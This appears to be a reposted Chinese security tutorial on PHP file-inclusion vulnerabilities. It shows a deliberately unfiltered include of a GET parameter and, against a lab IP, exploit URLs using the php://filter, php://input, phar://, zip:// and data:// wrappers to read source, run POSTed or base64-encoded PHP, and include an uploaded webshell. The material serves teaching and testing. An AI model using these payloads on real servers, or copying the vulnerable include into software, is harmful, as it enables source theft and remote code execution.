码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 文件包含漏洞(2), 伪协议, php://filter, php://input


    伪协议利用

    条件:

    php.ini配置文件中 allow_url_fopen=On 是开启状态.

    测试文件:
    http://192.168.112.200/security/fileinc.php

    
    $filename = $_GET['filename'];
    // 或include_once, require, require_once
    include $filename;    
    echo "
    欢迎来到PHP的世界.
    "
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    GET方法的 filename 参数用户可控, 且没有对包含的文件进行过滤和限制.

    1. php://filter

    功能: 读取php脚本的内容并编码

    文件包含php代码后, 会自动被web引擎解释执行, 如果想查看源码而不是执行, 则可以使用这个协议.
    读取common.php的源码, 并用base64编码显示. 通过base64解码即可得到php代码.

    http://192.168.112.200/security/fileinc.php?
    filename=php://filter/read/convert.base64-encode/resource=common.php
    
    • 1
    • 2
    2. php://input

    功能: 将post提交的代码作为输入

    条件: allow_url_include=On 已经开启

    通过post提交代码来执行.

    http://192.168.112.200/security/fileinc.php?filename=php://input
    
    • 1

    post data:

    <?php phpinfo(); ?>
    
    • 1
    3. phar://

    功能: phar用于对压缩文件的读取, 配合文件上传漏洞, 或phar反序列化漏洞.

    把一句话木马文件压缩成zip格式, 上传到服务器(服务器没有限制zip上传).
    通过该phar可以直接访问zip内的txt文件.

    mm.txt -> mm.zip

    http://192.168.112.200/security/fileinc.php?filename=phar://test/mm.zip/mm.txt
    
    • 1
    4. zip://

    与phar功能相同, 但是不能读取包含多级目录的压缩包.

    5. data://

    与input功能类似, 但是发送GET请求.

    http://192.168.112.200/security/fileinc.php?filename=data://text/plain,<?php phpinfo(); ?>
    
    • 1

    也可以发送base64编码后的代码

    http://192.168.112.200/security/fileinc.php
    ?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
    
    • 1
    • 2
  • 相关阅读:
    C#使用TcpListener进行聊天通信
    Vue 中指令v-bind的补充、v-for的使用,两者的结合使用。
    强大的Docker入门知识
    Python二进制序列类型(一)bytes与bytearray
    小程序图形:echarts-weixin 入门使用
    双位置继电器HJWS-9440
    2022年前端技术发展趋势
    小迪安全29WEB 攻防-通用漏洞&SQL 注入&增删改查&盲注&延时&布尔&报错
    flutter web 优化和flutter_admin_template
    无人驾驶(移动机器人)路径规划之RRT与RRTStar算法及其matlab实现
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/134031938
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号